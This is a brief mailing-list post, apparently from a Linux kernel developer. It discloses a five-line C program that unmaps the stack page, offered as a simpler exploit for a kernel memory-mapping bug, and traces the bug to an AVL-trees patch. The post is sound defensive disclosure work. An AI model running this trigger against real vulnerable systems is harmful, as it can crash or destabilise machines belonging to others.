theres a much simpler exploit for those interested:
#include <unistd.h>
#include <sys/mman.h>
void main (void)
{
munmap((void*)0xbffff000, 4096);
}
(the ld-so exploit had this unmap hidden implicitly in an mmap(), not
necessarily obvious at first sight.)
-- Ingo 'now where is that bag construction kit' Molnar
ps. there might be similar bugs nearby, i have not yet checked. I guess
this whole thing is a side-effect of the AVL-trees patch, it might be
wise to recheck that patch.
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